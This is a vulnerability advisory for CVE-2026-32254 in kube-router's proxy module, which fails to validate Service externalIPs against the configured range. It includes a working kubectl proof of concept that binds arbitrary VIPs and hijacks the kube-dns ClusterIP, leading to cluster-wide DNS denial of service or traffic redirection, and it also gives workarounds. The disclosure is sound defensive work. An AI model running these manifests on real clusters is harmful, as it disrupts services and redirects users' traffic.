CVE-2026-32254

kube-router Proxy Module Does Not Validate ExternalIPs or LoadBalancer IPs Against Configured Ranges

This issue primarily affects multi-tenant clusters where untrusted users are granted namespace-scoped permissions to create or modify Services. Single-tenant clusters or clusters where all Service creators are trusted are not meaningfully affected.

The kube-router proxy module's buildServicesInfo() function directly copies IPs from Service.spec.externalIPs and status.loadBalancer.ingress into node-level network configuration (kube-dummy-if interface, IPVS virtual services, LOCAL routing table) without validating them against the --service-external-ip-range parameter. A user with namespace-scoped Service CRUD permissions can bind arbitrary VIPs on all cluster nodes or cause denial of service to critical cluster services such as kube-dns.

The --service-external-ip-range parameter is only consumed by the netpol (network policy) module for firewall RETURN rules. The proxy module never reads this configuration, creating a gap between administrator expectations and actual enforcement.

Kubernetes' DenyServiceExternalIPs Feature Gate was introduced in v1.22 and remains disabled by default through v1.31, meaning most clusters allow Services to carry externalIPs without any admission control.

Note: This vulnerability class is not unique to kube-router. The upstream Kubernetes project classified the equivalent issue as CVE-2020-8554 (CVSS 5.0/Medium), describing it as a design limitation with no planned in-tree fix. The reference service proxy (kube-proxy) and other third-party service proxy implementations exhibit the same behavior. kube-router's --service-external-ip-range parameter provides more defense-in-depth than most alternatives -- the gap is that this defense did not extend to the proxy module.

Details

Vulnerability Description

Kube-router's proxy module does not validate externalIPs or loadBalancer IPs before programming them into the node's network configuration:

1. Unconditional externalIPs copy: buildServicesInfo() directly copy()s Service.spec.ExternalIPs without any range validation
2. Unconditional LoadBalancer IP trust: The same function appends status.loadBalancer.ingress[].ip without verification
3. --service-external-ip-range not checked by proxy: This parameter is only referenced in the netpol module, the proxy module never checks it
4. Cluster-wide impact: IPs are bound to kube-dummy-if on all cluster nodes, added to IPVS, and added to the kube-router-svip ipset
5. No conflict detection: ExternalIPs that overlap with existing ClusterIPs (e.g., kube-dns 10.96.0.10) cause the legitimate IPVS real servers to be fully replaced by the attacker's endpoints during the stale-endpoint cleanup cycle, redirecting all traffic for that VIP:port to attacker-controlled pods

Vulnerable Code Locations

File: pkg/controllers/proxy/network_services_controller.go

Lines 866, 898 - Unconditional externalIPs copy:

externalIPs: make([]string, len(svc.Spec.ExternalIPs)),
copy(svcInfo.externalIPs, svc.Spec.ExternalIPs)  // No range check

Lines 900-904 - Unconditional LoadBalancer IP trust:

for _, lbIngress := range svc.Status.LoadBalancer.Ingress {
    if len(lbIngress.IP) > 0 {
        svcInfo.loadBalancerIPs = append(svcInfo.loadBalancerIPs, lbIngress.IP)
    }
}

File: pkg/controllers/proxy/utils.go

Lines 425-461 - getAllExternalIPs() merges IPs without range validation:

func getAllExternalIPs(svc *serviceInfo, includeLBIPs bool) map[v1.IPFamily][]net.IP {
    // Only performs IP parsing and deduplication, no range checking
}

File: pkg/controllers/proxy/service_endpoints_sync.go

Lines 460-464 - Binds arbitrary IPs to kube-dummy-if via netlink:

err = nsc.ln.ipAddrAdd(dummyVipInterface, externalIP.String(), nodeIP.String(), true)

File: pkg/controllers/netpol/network_policy_controller.go

Lines 960-967 - --service-external-ip-range is ONLY referenced here:

for _, externalIPRange := range config.ExternalIPCIDRs {
    _, ipnet, err := net.ParseCIDR(externalIPRange)
    npc.serviceExternalIPRanges = append(npc.serviceExternalIPRanges, *ipnet)
}
// The proxy module never references ExternalIPCIDRs

Root Cause

The proxy module was implemented without externalIP range validation. The --service-external-ip-range parameter creates a gap between administrator expectations and actual enforcement: administrators may believe externalIPs are restricted to the configured range, but the proxy module (which actually configures IPVS and network interfaces) does not enforce this restriction.

This is consistent with the broader Kubernetes ecosystem. CVE-2020-8554 documents the same fundamental issue: the Kubernetes API allows Service.spec.externalIPs to be set by any user with Service create/update permissions, and service proxies program these IPs into the data plane without validation. The upstream project's recommended mitigation is API-level admission control (e.g., DenyServiceExternalIPs feature gate, or admission webhooks).

PoC

Environment Setup

# Kind cluster: 1 control-plane + 1 worker
cat > kind-config.yaml <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kube-router-test
networking:
  disableDefaultCNI: true
  kubeProxyMode: "none"
nodes:
- role: control-plane
- role: worker
EOF

kind create cluster --config kind-config.yaml
kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/v2.7.1/daemonset/kubeadm-kuberouter.yaml
kubectl -n kube-system wait --for=condition=ready pod -l k8s-app=kube-router --timeout=120s

# Create low-privileged attacker
kubectl create namespace attacker-ns
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: cicd-developer
  namespace: attacker-ns
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: attacker-ns
  name: service-creator
rules:
- apiGroups: [""]
  resources: ["services"]
  verbs: ["get", "list", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: service-creator-binding
  namespace: attacker-ns
subjects:
- kind: ServiceAccount
  name: cicd-developer
  namespace: attacker-ns
roleRef:
  kind: Role
  name: service-creator
  apiGroup: rbac.authorization.k8s.io
EOF

Exploitation

Scenario A: Arbitrary VIP Binding

kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: malicious-externalip
  namespace: attacker-ns
spec:
  selector: { app: non-existent }
  ports: [{ port: 80, targetPort: 80 }]
  externalIPs: ["192.168.100.50", "10.200.0.1", "172.16.0.99"]
EOF

Result: All 3 IPs appear on kube-dummy-if, IPVS rules, and LOCAL routing table on ALL cluster nodes. No validation, no warning, no audit log.

Scenario B: Cluster DNS Takedown (Single Command)

kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: dns-dos-svc
  namespace: attacker-ns
spec:
  selector: { app: non-existent-app }
  ports:
  - { name: dns-udp, port: 53, targetPort: 5353, protocol: UDP }
  - { name: dns-tcp, port: 53, targetPort: 5353, protocol: TCP }
  externalIPs: ["10.96.0.10"]
EOF

Before attack: kube-dns has 2 healthy real servers (CoreDNS pods).
After attack: The legitimate CoreDNS endpoints are fully evicted from the IPVS virtual service via the activeServiceEndpointMap overwrite and stale-endpoint cleanup cycle. If the attacker's Service has a selector pointing to attacker-controlled pods, those pods become the sole real servers for 10.96.0.10:53 -- receiving 100% of cluster DNS traffic. If no matching pods exist, the virtual service has zero real servers and DNS queries blackhole.
After deleting the attacker's Service: DNS immediately recovers.

Scenario C: --service-external-ip-range Bypass

With --service-external-ip-range=10.200.0.0/16 configured, 192.168.100.50 (outside the range) is still bound. The proxy module never checks this parameter.

Scenario D: Arbitrary VIP Binding With Attacker Backend

A user can bind an arbitrary IP as a VIP on all cluster nodes. For previously unused IPs, this creates a new IPVS virtual service directing traffic to the attacker's pods. For IPs that match an existing ClusterIP on the same port, the attacker's endpoints replace the legitimate endpoints entirely (see Scenario B for the mechanism).

kubectl -n attacker-ns run attacker-backend --image=nginx:alpine --port=80
kubectl -n attacker-ns exec attacker-backend -- sh -c 'echo "HIJACKED-BY-ATTACKER" > /usr/share/nginx/html/index.html'
kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
  name: hijack-svc
  namespace: attacker-ns
spec:
  selector: { run: attacker-backend }
  ports: [{ port: 80, targetPort: 80 }]
  externalIPs: ["10.50.0.1"]
EOF

$ curl http://10.50.0.1/
HIJACKED-BY-ATTACKER

Attack Scenarios

1. Cluster-wide DNS DoS / traffic co-opt: A user creates one Service with an externalIP matching the kube-dns ClusterIP on port 53. The legitimate CoreDNS endpoints are evicted and the attacker's pods receive all DNS queries cluster-wide.
2. Arbitrary VIP binding: A user binds unused IPs as VIPs on all cluster nodes, directing traffic to attacker-controlled pods
3. ClusterIP conflict exploitation: A user targets any existing ClusterIP:port combination to replace the legitimate service's endpoints with their own
4. Security configuration bypass: --service-external-ip-range is not enforced by the proxy module
5. Trust boundary violation: Namespace-scoped permissions affect all cluster nodes

Affected Versions

• All kube-router v2.x versions (including latest v2.7.1)
• buildServicesInfo() has never referenced ExternalIPCIDRs

Patched Versions

v2.8.0 and beyond

Workarounds

1. Enable DenyServiceExternalIPs Feature Gate: Add --feature-gates=DenyServiceExternalIPs=true to the API server
2. Deploy admission policy: Use Kyverno/OPA/ValidatingAdmissionPolicy to restrict Services with externalIPs
3. Restrict Service creation RBAC: Tighten RBAC to prevent low-privileged users from creating Services
4. Monitor Service changes: Enable Kubernetes audit logging for Service create/update operations
5. Apply BGP prefix filtering: If kube-router is configured to advertise externalIPs or ClusterIPs via BGP, configure BGP peers (routers, firewalls) to only accept announcements for expected prefix ranges. This prevents a malicious externalIP from being advertised to and routed by the broader network.

Mitigation

Recommended Permanent Fix

1. Proxy module should check --service-external-ip-range: Validate externalIPs against configured ranges in buildServicesInfo()
2. Default deny when unconfigured: When --service-external-ip-range is not set, reject all externalIPs
3. IP conflict detection: Check externalIPs against existing ClusterIPs and NodeIPs
4. Audit logging: Log all externalIP configuration changes

Credits

• @b0b0haha (Reporter)
• @j311yl0v3u (Reporter)

Confidentiality: None - No direct data leakage

Integrity: Low - An attacker can bind arbitrary VIPs on cluster nodes and direct traffic to attacker-controlled pods. When an externalIP matches an existing ClusterIP on the same port, the legitimate endpoints are fully replaced by the attacker's endpoints via the IPVS stale-endpoint cleanup cycle -- the attacker receives 100% of that traffic. However, this is bounded to specific (IP, protocol, port) tuples that the attacker explicitly targets, is immediately visible via kubectl get svc, and constitutes traffic redirection rather than transparent interception. This is consistent with the upstream Kubernetes assessment of CVE-2020-8554 (I:Low).

Availability: High - A single command can take down cluster DNS, affecting all pods' name resolution, service discovery, and control plane communication

CVE-2026-32254 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32254? CVE-2026-32254 is a high-severity security vulnerability in github.com/cloudnativelabs/kube-router/v2 (go), affecting versions < 2.8.0. It is fixed in 2.8.0.
2. How severe is CVE-2026-32254? CVE-2026-32254 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/cloudnativelabs/kube-router/v2 are affected by CVE-2026-32254? github.com/cloudnativelabs/kube-router/v2 (go) versions < 2.8.0 is affected.
4. Is there a fix for CVE-2026-32254? Yes. CVE-2026-32254 is fixed in 2.8.0. Upgrade to this version or later.
5. Is CVE-2026-32254 exploitable, and should I be worried? Whether CVE-2026-32254 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32254 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32254? Upgrade github.com/cloudnativelabs/kube-router/v2 to 2.8.0 or later.